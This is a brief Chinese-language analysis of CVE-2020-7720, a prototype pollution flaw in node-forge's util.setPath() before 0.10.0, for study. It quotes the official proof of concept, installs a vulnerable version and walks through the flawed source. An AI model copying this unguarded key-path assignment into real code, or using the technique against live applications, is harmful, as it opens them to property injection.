CVE-2020-7720漏洞分析
一、简介
nodejs的一个软件包node-forge在0.10.0版本以前,其中有一个util.setPath()函数,存在原型链污染漏洞,攻击者可以通过构造相应的参数对应用程序执行原型污染攻击。
官方给出的POC如下:
const nodeforge = require('node-forge');
var obj = {};
nodeforge.util.setPath(obj, ['__proto__', 'polluted'], true);
console.log(polluted);
二、漏洞复现与分析
1、环境搭建
下载低于0.10.0版本的node-forge组件
npm i [email protected]
2、源码分析
根据POC,我们直接定位到setPath函数。该函数的源码比较简单(如下):
util.setPath = function(object, keys, value) {
// need to start at an object
if(typeof(object) === 'object' && object !== null) {
var i = 0;
var len = keys.length;
while(i < len) {
var next = keys[i++];
if(i == len) {
// last
object[next] = value;
} else {
// more
var hasNext = (next in object);
if(!hasNext ||
(hasNext && typeof(object[next]) !== 'object') ||
(hasNext && object[next] === null)) {
object[next] = {};
}
object = object[next];
}
}
}
};
我们知道keys是一个形如这样的数组
['__proto__','pollute']
通过while循环,第一步进行的操作是:
object = object[__proto__]
然后是:
object[pollute] = true
这样就造成了原型链的污染,结合起来就是这样:
object['__proto__']['pollute'] = true
3、漏洞验证
console.log(pollute)